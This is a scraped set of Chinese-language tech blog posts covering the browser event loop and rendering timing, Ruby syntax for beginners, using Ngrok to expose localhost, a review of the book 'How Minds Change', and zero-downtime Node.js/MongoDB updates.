後執行 rendering 這件事我們來試試看使用 chrome performance 檢測看看首先先把程式改成利用 click 觸發,這樣比較好追蹤事件12345678910111213<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue'; setTimeout(function test2(){ document.body.style = 'background:black' }, 0) }) </script> </body></html> 從第一張可以知道有兩個綠色的地方,都是 paint 的行為 這邊 Chrome 版本 80.0.3987.66 上面有一個 task 的標籤我查不太到這個代表的意思但依照規範上面 event loop 的概念那個灰色的 task 標籤,就是代表每一次的 event loop推測的一個原因是在後面的 microtask 範例中,執行 microtask 被歸類在這個灰色 task 標籤下面如有錯誤請糾正,感謝!! 先放大最左邊黃色部份來看看 (大約 2440 ms),會發現 task 尾端執行了一個叫做 test 的 function還有一個 setTimeout 的 function (被稱為 test2)然後接下來下一個 task 就開始有第一個 paint (blue) 再放大中間右邊的黃色部份 (大約 2442 ms),會發現 task 尾端執行了一個叫做 test2 的 function這個 test2 就是前面 setTimeout 設定好的 function觸發執行後,接下來就會觸發第二個 paint (black) 開始執行 paint 的動作把畫面渲染成黑色 (大約 2449 ms) 小整理 大約 2440 ms 的時候,執行了第一輪 task 並觸發了第一個 paint (blue) 以及 setTimeout 大約 2442 ms 的時候,觸發了 setTimeout 的行為 大約 2449 觸發了第二個 paint (black) 此 paint 的行為是來自 setTimeout 裡面的程式碼 可以在圖片上面有一個 frames 可以判斷,總共對畫面進行兩次更新 至於要怎麼看 Paint 的畫面可以按照以下步驟去證明 範例三這邊有 Promise,代表裡面的 callback 會被放在此輪的 microtask 之中第一行是指定在渲染的時候要渲染藍色,但按照流程圖來說最後要執行渲染之前還會先跑 microtask 的 callback跑完 microtask 的 callback 後,指定在渲染時要是黑色第一輪結束後,只會執行渲染黑色,所以畫面上只會看到黑色而 log 的順序會是 1, 3, 2 1234567document.body.style = 'background:blue'console.log(1);Promise.resolve().then(()=>{ console.log(2); document.body.style = 'background:black'});console.log(3); 我們再來看看 chrome 的 performance 的結果如何為了方便檢測,把 js 那一段程式把也改成由 click 進行觸發12345678910111213141516<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue' console.log(1); Promise.resolve().then(function test2(){ console.log(2); document.body.style = 'background:black' }); console.log(3); }) </script> </body></html> 按照 Promise 是走 microtask 的概念,所以不會進入新的一輪 task 裡面在一次 event loop 結束後,這段程式把只會觸發一次 paint 的效果最下面可以看到觸發 test function 後,又觸發了 microtask然後就結束這一輪的 task,接下來才是 paint 範例四先來看渲染顏色的順序效果第一輪的 task 之中,第一行指定了藍色但在跑完 Promise 的 microtask 後,會變成黃色所以在第一輪結束之時,會直接把畫面渲染成黃色但因為我們有設定在 setTimout 也會執行渲染所以會變成第一輪 task 結束後是黃色,但在第二輪 task 結束後,會變成紅色至於 log 順序的話為 1, 3, 2, 4, 5 1234567891011121314document.body.style = 'background:blue'console.log(1);setTimeout(() => { console.log(5) document.body.style = 'background:red'}, 0)Promise.resolve().then(()=>{ console.log(2); document.body.style = 'background:black'}).then(() => { console.log(4); document.body.style = 'background:yellow'});console.log(3); 中間有一段有用慢動作播放,以方便看渲染效果 我們再來看看 chrome 的 performance 的結果如何為了方便檢測,把 js 那一段程式把也改成由 click 進行觸發1234567891011121314151617181920212223<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue' console.log(1); setTimeout(function test2(){ console.log(5) document.body.style = 'background:red' }, 0) Promise.resolve().then(function test3(){ console.log(2); document.body.style = 'background:black' }).then(function test4(){ console.log(4); document.body.style = 'background:yellow' }); console.log(3); }) </script> </body></html> 可以看到上面有兩個 task 是主要進行 paint 的行為 放大左半邊來看看,會發現左半邊執行了一個叫做 test function也就是我們程式碼裡面的 click callback functioncallback function 裡面有一個 setTimeout function所以在 task 結束的尾端可以發現有一個 setTimeout 事件被觸發但這個 setTimeout 的 test2 function 是在下下一輪 task 才會進行動作 (畫面右邊的 test2)而在中間的 task 就進行 paint 的動作 (變成黃色) 而把背景變成紅色則是在更後面的 task 範例五此範例是來自於 Tasks, microtasks, queues and schedules以下是裡面的 demo 範例,可以清楚看到每種 callback 放在 task 又或是 microtask 裡面 後記這次介紹的是瀏覽器版本的 event loop,但其實 node.js 的 event loop 又不一樣這個之後再介紹 node.js 版本的 event loop 又是如何運作的另外這邊文章也有簡單談到渲染引擎,這裡面還有牽扯到關於 Reflow 以及 Repaint 的行為這個也會另外在開新的文章做詳細解釋還有本文提到有些名詞有結合中國的一些技術名詞,這樣大家在看中國的技術文章時會比較好同步 References 「前端进阶」从多线程到Event Loop全面梳理 針對瀏覽器的 event loop 的介紹渲染例子非常的詳細,非常推薦看看 Tasks, microtasks, queues and schedules 針對 task, microtask 都有詳細的說明,也有針對不同瀏覽器做比對 js引擎与GUI引擎是互斥的 深入探究 eventloop 与浏览器渲染的时序问题 从event loop规范探究javaScript异步及浏览器更新渲染时机 Render-tree Construction, Layout, and Paint Inside look at modern web browser (part 1) Inside look at modern web browser (part 2) Inside look at modern web browser (part 3) Inside look at modern web browser (part 4)","link":"/2020/02/03/javascript-runtime-event-loop-browser/"},{"title":"Ruby 初學者應該要知道的幾件事","text":"[Update 2020-09-06] 新增 Interface & method_missing[Update 2020-07-31] 新增 send & self 介紹因近期工作關係會需要寫到 Rails, 所以開始學習 Ruby 這個語言這篇文章會列出個人覺得學習 Ruby 這個語言, 要先知道的幾樣東西以及符號,可以當作一個粗淺的 ruby 教學 XD因為這篇是以個人角度去看的所以內容比較適合學過一種 Java or JavaScript 的讀者 Function 執行以個人經驗來說, 學習 Ruby 第一件讓我很困惑的地方就是關於 function 執行的方式在寫過的 JavaScript, Java, Go 三個語言中, 這是差異最大的地方在 JavaScript 定義 function 後去執行不外乎是這樣 1234function doSomething(thing) { console.log(`I'm doing ${thing}`)}doSomething(\"work\") 在 Ruby 中也只是差在語法定義不同而已1234def doSomething(thing) puts \"I'm doing #{thing}\"enddoSomething(\"work\") 但最奇特的就是, Ruby 可以省略括號去執行1doSomething \"work\" 這也是我學習 Rails 看到 config > router.rb 第一個覺得困惑的點1get 'welcome/index' 接著看到這裡我就反問那兩個參數是不是也可以不用括號答案是對的, 加一個逗號去分開就好1234def doSomething(thing1, thing2) puts \"I'm doing #{thing1} and #{thing2}\"enddoSomething \"work1\", \"work2\" 接著除了一般參數, 接著另一個疑問就來了在寫 JS 有時候參數會想帶 JSON 的結構進去, 那在 Ruby 又怎麼做到?實際上使用會是這樣, 而在 Ruby 中會把 thing 稱之為 Hash123456def doSomething(thing) puts \"I'm doing #{thing[:thing1]} and #{thing[:thing2]}\"enddoSomething(thing1: \"work1\", thing2: \"work2\")doSomething thing1: \"work1\", thing2: \"work2\"doSomething :thing1 => \"work1\", :thing2 => \"work2\" 混在一起就可以這樣寫123456def doSomething(name, thing) puts \"I'm #{name} and doing #{thing[:thing1]} and #{thing[:thing2]}\"enddoSomething(\"Jack\", thing1: \"work1\", thing2: \"work2\")doSomething \"Jack\", thing1: \"work1\", thing2: \"work2\"doSomething \"Jack\", :thing1 => \"work1\", :thing2 => \"work2\" 但如果後面還有參數就記得一定要加大括號123456def doSomething(name, thing, time) puts \"I'm #{name} and doing #{thing[:thing1]} and #{thing[:thing2]} in #{time}\"enddoSomething(\"Jack\", {thing1: \"work1\", thing2: \"work2\"}, \"today\")doSomething \"Jack\", {thing1: \"work1\", thing2: \"work2\"}, \"today\"doSomething \"Jack\", {:thing1 => \"work1\", :thing2 => \"work2\"}, \"today\" 接著另一個有趣的事, 在 ruby function 定義中你不寫 return 的話, 預設是會回傳最後一行產出的結果1234567891011121314def testgogo 100000endnum = testgogoputs num.class## 同等於下面def testgogo return 100000endnum = testgogoputs numputs num.class Block在 Ruby 裡面有一個很特別的方式在執行 function 的時候, 可以多帶入 {}, 並在裡面寫下程式以下面的例子, 在執行 doSomething 的時候, 會先到 doSomething 的程式區塊中去執行但執行到 yield 的時候, 會把程式的控制權轉交給執行 doSomething 時代入的 {} 之中 12345678910111213def doSomething puts \"start\" yield puts \"end\"enddoSomething { puts \"this is block content\"}# 同等下方doSomething do puts \"this is block content\"end 在 Ruby 中把 {} & do...end 稱之為 Block然後在學 Ruby 剛開始可能都會看到這個例子去跟你介紹 Ruby1235.times { puts \"哈囉,世界\"} 這個要自己土炮的話, 概念也是用到 Block + yield 去實作123456789101112131415def my_times(n) i = 0 while n > i i += 1 yield endend my_times(5) { puts \"哈囉,世界\"}# 同等於以下my_times(5) do puts \"哈囉,世界\"end 除了轉交控制權之外, 也可以傳遞參數出去123456789def doSomething puts \"start\" yield \"Jack\" puts \"end\"enddoSomething { | name | puts \"this is block content with paramters #{name} from doSomething\"} 這裡會看到 || 這個符號, name 在 || 裡面代表 name 是在這個 Block 範圍裡面的區域變數, 離開 Block 之後就失效了當然這只是簡單的介紹, 更難一點的還有針對 do...end & {} 有優先順序的差別 Class & Instance Method接著我們要介紹的是 << 在 Ruby 的 Class 裡面代表的意義讓我們先看看在 JS 中如何去寫 class雖然 JS 的 class 不是真的 class, instance 也不是真的 instance但為了方便介紹, 先以 JS 先舉例在 JS 中要為 class 寫一個 method 通常都會用到 static 去表示如果去掉 static 就代表是 instance method, 也就是 new 出來後的物件才可以執行 123456789101112class Work { static show() { console.log(\"class method\") } instanceMethod() { console.log(\"instance method\") }}Work.show()const work = new Work()work.instanceMethod() 在 Ruby 中也有一樣的概念12345678910111213class Work def instanceMethod puts \"instance method\" end def self.show puts \"class method\" endendWork.showw = Work.neww.instanceMethod 這邊就是用 self 去表示 class method但 self 根據不同上下文會出現不一樣的值,可以看下方的例子 12345678910class Work def test puts self end def self.gogo puts self endendWork.new.test # 這裡會是 instance 本身Work.gogo # 這裡會是 class 本身 那因為有分成 class & instance scope所以執行上要注意一下不同 scope 的情況,例如以下情況12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.testputs \"================\"Work.new.test 所以這裡可以延伸成另一種東西,有發現 new method 也是屬於 class scope 嗎?也就代表程式中其實可以這樣去寫,還蠻酷 XD 12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 instance = new instance.test end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.test 另外比較特別的是, 上面的 self 寫法,可以用 << 去改寫變成123456789101112131415class Work def instanceMethod puts \"instance method\" end class << self def show puts \"class method\" end endendWork.showw = Work.neww.instanceMethod 除此之外, << 可以用在擴充 instance method (也可稱為 singleton method)但注意, 像最後一行去針對 w1 去執行 instanceMethod2 是會出錯的123456789101112131415161718class Work def instanceMethod puts \"instance method\" endendw1 = Work.neww2 = Work.neww1.instanceMethodclass << w2 def instanceMethod2 puts \"instance method2\" endendw2.instanceMethod2 # 這個會成功呼叫w1.instanceMethod2 # 這個會報錯 雖然這裡是講 class & instance method, 但 << 除了在這個地方可以使用其實還可以用在 array append 上面, 像是這樣123a = [1]a << 2p a 想看更多其他應用的部分, 可以直接參考 What does << mean in Ruby? send在 ruby 中還有一種特別的方法去呼叫 instance method,就是透過 send 的方式123456789class Work def test send(:gogo) end def gogo puts \"this is instance gogo\" endendWork.new.test 所以可以把上面其中一個例子的寫法改成這樣12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 instance = new instance.send(:test) end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.test Class Inherit & Namespace接著談到 Class Inherit & Namespace, 最常看到兩種符號 < & ::先來談談 < 這個符號, 這其實就是繼承1234567891011class Animal def run puts \"run\" endendclass Dog < Animalenddog = Dog.newdog.run 但在 rails 的 controller 第一行卻會看到 :: 出現在 ActionController::Base12class ApplicationController < ActionController::Baseend 在 Ruby 中, class 和 module 是可以用巢狀結構包起來的要存取 裡面的 class / module 時, 就會需要用到 :: 去存取12345678910class Utility class Flyable def fly puts \"fly\" end endendflyable = Utility::Flyable.newflyable.fly 除了 class 也可以用在 module1234567891011121314module Utility module Flyable def fly puts \"fly\" end endendclass Cat include Utility::Flyableendcat = Cat.newcat.fly 當然也可以 module & class 混著用12345678910111213module Utility class Flyable def fly puts \"fly\" end endendclass Cat < Utility::Flyableendcat = Cat.newcat.fly 透過以上巢狀包起來去使用, 其實就是達到 Namespace 的一種使用方式看到這裡有人會問 module & class 之間的差異建議可以直接看看 5xRuby 裡面的一篇文章要用繼承還是要用模組? Interface通常在寫 Java Go Typescript 都可以有 interface 可以用但在 ruby 中並沒有 interface 的概念但可以透過 class 繼承去辦到實作 interface 這件事 12345678910111213141516171819# Interfaceclass Money def currency raise NotImplementedError end def run raise NotImplementedError endend# Implement Interfaceclass Usd < Money def currency \"USD\" end def run puts currency endend 若如果你沒有實作 function 就會得到以下結果123456class Usd < Money def run puts currency endend# `currency': NotImplementedError (NotImplementedError) method_missing在 ruby 中有一個機制,當你呼叫這個 method 不存在的時候可以透過呼叫 method_missing (method from BasicObject) 去攔截這個不存在的 method 1234567class Money def method_missing(method_name, *args) pp method_name pp args endendMoney.new.hi(123) 而這個有什麼用呢?除了可以自定義方式去保護當程式被奇怪的 method name 呼叫之外在 rails Active Record 裡面有個 find_by_AttributeName method如果使用 find_by_id 就會到資料庫去比對是否有 id 欄位可以搜尋如果使用 find_by_name 就會到資料庫去比對是否有 name 欄位可以搜尋 也就是這個 method 是根據資料庫實際 schema 動態去改變的而實際實現方式就是透過 method_missing這種用程式去寫出出更多程式 (不同的 find_by_a1, find_by_a2),也是 Metaprogramming 的一種方式 DynamicMatchers Lambda & ->Lambda 是一種 anonymous functions, 在 Ruby 裡面是這樣使用12345run = lambda { puts \"run\"}run.call 但在 Ruby 裡面可以用另一種寫法, 用 -> 這個符號12345run = -> { puts \"run\"}run.call & operator in Proc在 Ruby 時常會看到一些這樣的用法 12345678names = User.all.map(&:name)# 同等於names = User.all.map { |user| user[:name] }p = Proc.new { |x| puts x * 2 }[1, 2, 3].each(&p)# 同等於 [1, 2, 3].each{ |x| puts x * 2 } 此時會看到一個很特別的 & 的符號但在這並不是像某些語言是 pass-by-reference 的意思& 在這是指傳遞 Lambda or Proc 來使用, 所以可以延伸出一些簡短的縮寫方式而使用 & 的時候, 會把 Block 轉成 Proc 去使用也就代表這中間, 會去呼叫 to_proc 這個 method我們透過自定義的 method 來實驗一下 12345678910111213141516class GGG def to_proc puts \"gggg\" Proc.new { puts \"cool\" } endenddef gogo(&blockd) blockd.callendggg = GGG.newgogo(&ggg) 在上面的範例中我自己定義的 to_proc 的 method, 並回傳了 Proc 的實體回去而我們一開始上面看到的 (&:name), 其實是在 Symbol 裡面有定義 to_proc 的實作方式透過 :test.methods 去看看印出來的 method 就會知道可以參考 What does map(&:name) mean in Ruby? 更多詳細關於 Proc Lambda Block & 用法, 可以看 Ruby 中的 Block、Proc、Lambda 是什麼? attr_accessor, private, public, protected在寫 Ruby 時, 常常會看到標題這幾個字樣出現但在 Ruby 裡面, 這並不是關鍵字, 而是一種 method這裡可以看到 Ruby 裡面真正有的 keywords 有哪些 (這邊提供 3.0.0 版本)但這樣就很特別, 因為如果是 method 的話, 代表是我在宣告 class 時是可以執行其他 function 其他版本可以參考 https://docs.ruby-lang.org/en/ 1234567891011121314151617181920class Cat puts \"gogo\" def run puts \"run\" endendCat.new.run# 除了上面這樣執行, 也可以額外宣告 class method 直接去使用class Cat def self.gogo puts \"gogo\" end def run puts \"run\" end gogoendCat.new.run 這跟寫 JS 和 Java 有很大的不同, 為何在定義 class 的時候就可以執行程式呢?其實在 class 這個定義中, 跟其他區塊一樣可以直接執行程式的區塊, 差別在 self 指向這個 class 而已而定義在這區塊中, 當 class 被載入之後, 就會跟著執行不過有趣的是 require & load 兩種方式會有不同樣的結果透過多次 require class 只會被執行一次透過多次 load class 則會每次載入都會被執行一次 更多詳細內容可以參考以下文章 Ruby Method calls declared in class body point 4: Class Bodies Aren’t Special. Method Calls in Ruby Class Definitions rescue Exception => e雖然這只是語法差別, 從原本的 try-catch 變成 begin-rescue但比較特別的地方是, 可以透過 => 把 Exception assign 到一個 local variable 裡面12345begin asdasdrescue Exception => e puts e.messageend 這個 e 就只會存在這個 scope 裡面不過我找了很多資料, 看來這是唯一一個特殊用法rescue 的 => 跟 hash 的 => 意義不太一樣不過這邊提一下, 雖然邊提示用 Exception, 但是 Ruby 裡面並不推薦全部都用 Exception Handle 唷另外若有人知道為啥 resuce ⇒ 用法這麼特別, 拜託再跟我說一下 XD 後記這篇文章主要紀錄 Ruby 語言特有的一些符號和用法從其他語言轉換過來的話, 個人覺得先理解這先東西可以幫助更快速學習 Ruby 這個語言若有其他文章沒提到的, 歡迎各位底下留言告訴我, 謝謝! 接著理解一些特出語法之後, 可以開始搜尋 ruby best practice 了解哪一些寫法是更好的 References What does << mean in Ruby? 要用繼承還是要用模組? What does map(&:name) mean in Ruby? Ruby 中的 Block、Proc、Lambda 是什麼? keywords Ruby Method calls declared in class body point 4: Class Bodies Aren’t Special. Method Calls in Ruby Class Definitions Self in Ruby: A Comprehensive Overview","link":"/2021/06/20/new-to-learn-ruby/"},{"title":"Ngrok - Connect to your localhost!","text":"今天要介紹的是一個非常好用的東西,可以直接讓大家都連到你的 localhost這樣做完一個網站,你也不用特地部署,可以直接透過這個工具,大家都能連到 工具連結在此: Ngrok 使用方式簡單介紹下載下來後,unzip 之後就可以做使用了如果在 localhost 開了一個 8080 想讓大家連可以在下這以下這行指令 1./ngrok http 8080 結果會長這樣,然後在網址列打上他給你的網址就可以直接連到你的 8080 port 如果像是要用到 Apple Pay 一些特定服務只允許跑在 SSL 上面的話這個工具會非常有用,但畢竟是經過別人家重導 …. 所以小心用","link":"/2017/11/08/ngrok/"},{"title":"How Minds Change (中譯 - 如何讓人改變想法) 心得","text":"前言這本書用科學的方式很深刻探討了想法改變,書中提了很多不同例子,也舉了很多不同研究關於說服,而這些研究都有很驚訝的共通點。這些共通點我在其他不同書中都有看過類似的建議,但那往往是出於經驗談。但這本書用很科學的方式解釋了這些事情,以及為何這些事情有效。以下就簡單介紹我印象深刻的幾個點以及比較容易分享的部分。 同婚故事裡面有提到幾段故事關於當時 LGBT 遊說支持同婚或是墮胎合法化的例子,這邊舉例一個從反對同婚到支持同婚的案例,而這樣的想法改變只在短短不到 25 分鐘。 一位住在加州 70 幾歲的男性,他是不支持同婚。遊說員問了他一個問題有沒有結過婚?接著這位男性就開始訴說著自己的故事,43 年的婚姻,太太在 11 年前去世,男性開始陳述妻子過世前的情況。遊說員說:「11 年獨處的似乎很漫長」。男性表示:「這讓你有很多時間思考」。男性開始回憶與太太的美好的回憶。而過了ㄧ會,男性表示:「我希望我住在對面的同志也能快樂,他們人很好,不會給其他人造成麻煩。他們在一起很幸福,就像我跟我太太一樣」。經過一陣閒聊後,遊說員問要是哪天投同性婚姻公投,你會怎麼蓋?他說:「這次我會蓋贊成」。 你會發現整段對話,不需要任何證據,而是讓他敘述著自己過往的經驗,給他思考自己想法的時間。思考那些沒有仔細思考的事,運用他們生活中的點點滴滴,協助發展出不同的觀點。 白金/藍黑洋裝還記得 2015 風靡全球白金/藍黑洋裝的故事嗎?書中有提到科學家對於這個現象非常感興趣,在他們研究的過程,發現大腦會偷偷你解決掉不確定性,而解決掉這種不確定性作法是根據大腦之前的經驗。 裡面有提到會看到白金顏色的人,大部分都是長期在自然光下待越久的人,大腦就會漸漸過濾掉藍光,最終你看到就是白金色。而長期在人造黃光下的人,大腦會減少黃光,最終看到的就是藍黑顏色。所以不同大腦處理的方式不同,看到的結果也就不同。 這證明了一件事情,即使有相同的真相擺在眼前,根據不同人的經驗,依舊會有不同樣的結論。可以想像單就一件洋裝就可以在網上吵翻天,就也不難想像工作中可能要有共識這件事又是難上加難。所以有時候討論大家看到什麼,不如討論大家怎麼看到,為何看到這樣會來得更有意義。 提問的順序而關於同樣的真相,書中有提到一個實驗。光是提問的順序改變,竟然結論就卻會是不一樣的。簡單來說,請兩組受試者觀察一個人的生活紀錄。而這個人的生活紀錄有時候顯得外相,有時候顯得內向。 研究人員就會問兩組受試組同樣的問題,但順序會顛倒過來。問題是:「他適不適合當房仲?」,再來就是問:「他適不適合當圖書館員」,另一組則是反過來問。而另一組先問圖書館員的組別,他們想到的都是他喜歡獨處的一面,應該不會喜歡當房仲。 同樣的證據,被不同的問題挑起不同的動機和思路之後,就提出了不同的結論。而在遭受質疑的時候,會找出證明自己直覺地證據。 想法轉變過程其實我們大腦對不同東西都有不同的預測模型。例如把蛋丟到地上,你會預期它破掉。但當預期模型跟現實有些出入,這時就會大腦就會偷偷進行更新。例如點了外送發現少一個漢堡,你就學會之後可能不要點這家,或是不要買這家的漢堡等等,而這些過程可以稱被為「同化」以及「調適」。 書中舉例說如果你學會用雞肉做一道新的料理,這就叫做同化,你把這道料理的知識吸收後,用了與雞肉無關的材料,做出類似的料理,也只是一種更新,架構上並無太大的改變。然而,如果是你參觀大型養雞場,發現有一個八條腿的雞,並且要用沒有腿的雞當作飼料,當下你就會覺得很驚訝,此時你的架構就會有重大更新原來有這樣的事存在,這個過程叫做「調適」。 就像是小孩第一次看到狗,爸媽會跟他說這是狗。接著小孩看到馬一樣有四條腿,會說是狗。但爸媽會跟他說這是馬,此時小孩就會更新自己的模型。這樣現象也可以被稱為認知失調,當眼前越來越多不協調的事情,而現有模型無法解決,總有一天不得不改變,會開始產生出「我可能錯了」的想法。 情感臨界點書中有提到一個實驗要測試,究竟到怎樣程度的不協調感,才會讓一個人從「同化」轉向「調適」。這個實驗簡單來說是模擬一場總統大選,會有不同受試者,這些受試著會接收 10% 20% 40% 80% 不一樣程度的總統候選人負面資訊,受試著可以自由決定看多還是看少。 結果發現只接收 10% or 20% 資訊的人,反而對他們的候選人更加死忠。這些人為了減少認知失調的程度,會用不同的方式去解釋這些資訊,並以偏向同化的方式更新到自己的模型中。而 40% 80% 組別,則是變得對候選人很負面,完全移情別戀。不過並不是每個人的臨界點都一樣,這完全取決於個人,但就是每個人都有這個臨界點。 我自己覺得這項實驗也間接證明了作者在書中前面提到過,他以為把真相擺出來在那邊,民眾就會了解事實,但事實卻不是這樣。我在想也許只是臨界點還沒到罷。 其實當時看到這裡我覺得有點像是 PUA 的概念,因為被 PUA 的人會不斷去解釋 PUA 者的行為去合理化他,除非模型更新,否則很難跳出來。 大腦自我保護機制除了接受超過臨界點會開始發生調適之外,書中還提到一個實驗。科學家測試民眾對於政治和非政治性不同議題,給於反駁論點後,發現非政治性的議題民眾比較容易軟化,而政治性議題民眾的大腦會進入到「戰鬥或逃跑」的模式,腎上腺素暴增。因為大腦首要的目標就是保護自己,而這個自己不止物理上,還包含態度和價值觀等等心理上的自我。 想法改變的機緣我自己覺得這段故事很精彩,就不劇透給各位。但大概是在討論同溫層這件事,書中提到是因為「離開」才有會「想法改變」,而不是「想法改變」才會有「離開」的行為,這離開的共通點在於失去「歸屬感」。裡面提到有些人因為不得不的原因而需要離開。在離開後與原本仇視的那群人實際接觸才發現,那群人跟他想像中完全不一樣。此時想法才開始有所不同。簡單來說,與外界有不同的接觸後,想法也開始有所改變。而這些故事中提到與外界的接觸時,外界都是給予一種開放和擁抱的心態去對待他們,才讓他們想法產生改變 部落心理書同提到一個團體認同的實驗,一個研究團隊假裝是夏令營顧問,舉辦一個夏令營,將 22 大約在 12~13 歲的男孩,用不同的巴士載到兩個鄰近的營地,且並不知道彼此的存在。在各自生活一段時間後,研究團隊故意告訴他們有另一個隊伍的存在。接著就舉辦一些活動,像是拔河棒球等等。這兩對選手會互相謾罵,抱怨對手的比賽手段很糟糕,甚至在就寢時間,兩隊都會抱怨另一對很糟糕,說他們糟透了。 但畢竟這個影響因素很多,於是又有單純在實驗室情境下,去掉兩組人的顯著差異,單純告訴受試者是屬於某一組,而不屬於另一組。這樣的概念拿來做了很多實驗,最後發現只要有任何明顯的共同特點,都會形成一個團體。而在「我們」的概念出來後,「我們」就會開始厭惡「他們」。一但有這個區分,就會想要把利益盡量導入到「我們」這邊,而不是「他們」那邊。而且相較於實際的對錯,更在意自己能不能當上團體裡的好成員,只要團體能滿足這方面的需求,就會寧願與夥伴相處愉快,而選擇犯錯。 看到這裡就知道為什麼有些教溝通管理的書都會用「我們」,而不是我和你,去展開一個溝通。因為當出現了「我們」和「他們」的情況出現,接下來就是對立的立場。所以要展開一個良好的溝通,應該是要以「我們」的立場去展開,因為在這場對話中,不分你我,都是同一個陣線的。 著名的穀倉效應也是這種概念,但開始分你我的時候,基本上就不用做事情了。所以我在想這應該也是組織改組的用處,因為要打破隔閡才有辦法消彌「他們」這種對立面出現。 協助思考的步驟這段標題我很難下,因為書中有提到「街頭知識論」「深度遊說」「動機式晤談」等等不同方式,但這些共通點都是協助對方去思考,如何去推論出它現有的結論。不過這些方式也有針對不同的主題,而我就以「街頭知識論」的步驟為主來進行介紹。 建立融洽的關係:你要讓對方知道沒有任何敵意,就算表達任何想法別害怕丟臉。你就是像個透明人一樣,請他們談談自己、談他們的生活。千萬別認為這不重要,因為大家都想要有人傾聽,想要覺得你會傾聽他們想說的話。 請對方提出一項主張:就像知道對方要會說什麼,你也要讓對方自己講出來。 確認主張的內容:以你自己的話,向對方復述主張的內容,並得到對方的同意。 澄清對方的定義:大多數論證的問題,在於雙方是在定義不同的情況下各講各的,所以要先確認對方的定義。 找出對方的信心水準:問問他們 0~100 對於這個主張打個分數。 找出他們如何達到這樣的信心水準:接著就可以開始問為什麼不是 0 或 100 分?簡單來說就是去問對方,是因為什麼理由,讓他有這樣的信心。 詢問對方,曾經用什麼方法,來判斷自己的理由多充分:基本上可以使用蘇格拉底的反詰法,但這只是一種方式,這一步的方式無窮無境,而是要根據對方分享的內容來決定要如何繼續下去 聆聽,摘要,重複:基本上就是把前面步驟跑一次,但如果對方忽然停止說話,千萬別去打擾他的思維,因為他正在進行反思。 與對方道別,但建議對方,日後可以讓對話繼續下去 其實從這邊不難發現幾個重點 尊重並傾聽對方的故事 不帶任何立場去了解對方如何思考 不給對方思考的結論有任何批評,而是以反問的方式讓他多解釋一些 書中提到「深度遊說」「動機式晤談」大多是一樣的作法。不過在深度遊說有提到一件事,在遊說的過程如果少掉說故事的橋段,整個遊說效果就會很差。而講的故事不一定是要你自己的,可能是同樣受這個議題影響的別人的故事也沒問題。 有些溝通管理的書也會教說用好奇心驅使去開啟這個對話,因為好奇心是最不帶有任何立場的一種心態,以一種我真的很好奇你怎麼想的角度去請教對方,並好好聆聽下去。我相信這也是為了防止對方的大腦進入到「戰鬥或逃跑」的機制,因為一但進入到這個模式,溝通基本上是無法進行下去。 另外我也解讀成即使你有強力的論證,其實也不該在一開始就提出來。而是在整個對話中聆聽完對方的想法後,再來提出你自己的想法或是看過的論證,接著再來反問對方的想法是什麼,但別與對方爭論,這樣會更有效果。(這段也是深度遊説中的一部分) 而上述提到的技巧在書中作者有提到,有一位心理學家把這些歸類在「技術反駁」,而有另一個種類是屬於「主題反駁」。而「主題反駁」是基於事實在進行討論,像是在科學界、醫學界、學術界彼此都重視誠信的環境,就會是首選的技巧。 最後問問自己為什麼想要改變別人想法作者在書的後面留下一個問題,並希望把這個問題加在前面方法的第一個步驟:「為什麼想要改變別人想法」?配上作者給的例子加上我自己的解讀,假設是在工作上遇到一個相處融洽合作無間的同事,但他是有神論者,然後你是無神論者,那有必要改變他的信仰嗎?而你改變的目的是什麼? 另外因為很多人之所以產生衝突是因為立場不同,並不是真的有什麼利益問題。如果用辯論的方式來處理分歧會非常危險,因為會有贏輸家的問題,而沒有人想當輸家。更好的方式,應該是問問為什麼各方對事物的看法不同。 最後作者提到一個溝通專家葛洛柏曼,他說開放式溝通的三大支柱:透明度、好奇心、同情心。這點是不是有點回應到前面提到的呢? 後記這篇想要分享的內容真的太多,很難用一篇文章就講完全部。所以還是非常推薦各位直接去讀這本書,我相信會帶來一些不同的啟發,後續有想到什麼補充再放上來分享。","link":"/2023/07/18/how-minds-change/"},{"title":"續篇 - Node.js & Mongodb zero downtime 更新","text":"前言上次提到了, 關於在 http module 裡面的 close function當呼叫 server.close(() => {console.log("server is closed")})express 會等到請求處理完事件後才會關閉 但那次我們單純只提到了伺服器的部分那麼當我的伺服器跟資料庫連動的時候, 也是一樣的狀況嗎? 這篇將會 demo 如何在伺服器與資料庫連線的同時, 做到 zero downtime 更新另外, 這篇是使用 mongodb 以及 mongoose 套件進行 demo 前提注意mongoose 使用版本為 5.9.13, mongodb 使用版本為 3.6.2在筆者測試的時候, 發現有一個參數 useUnifiedTopology 有沒有設定是會影響此次的結果在這個 zero downtime 的測試中, useUnifiedTopology 的參數是 false若改成 true, 此次測試皆會失敗, 也就無法達成 zero downtime update 的目的 但在 mongoose v5.9.13 的文件裡面, 針對 useUnifiedTopology 的參數, 是希望改成 true原因是他們重寫了如何處理監控伺服器的程式碼還有機制所以才會導致設定之後會失敗, 詳細可以看看看這邊 Server Discovery And Monitoring 原文Mongoose 5.7 uses MongoDB driver 3.3.x, which introduced a significant refactorof how it handles monitoring all the servers in a replica set or sharded cluster.In MongoDB parlance, this is known as server discovery and monitoring. 除此之外, 設定為 true 之後, autoReconnect reconnectTries reconnectInterval 這幾個選項也不會支援詳細可以看 mongoose connection options在下面就有針對 useUnifiedTopology: true 的去解釋可以用哪些參數以及 useUnifiedTopology: false 的去解釋又有哪些參數可以使用 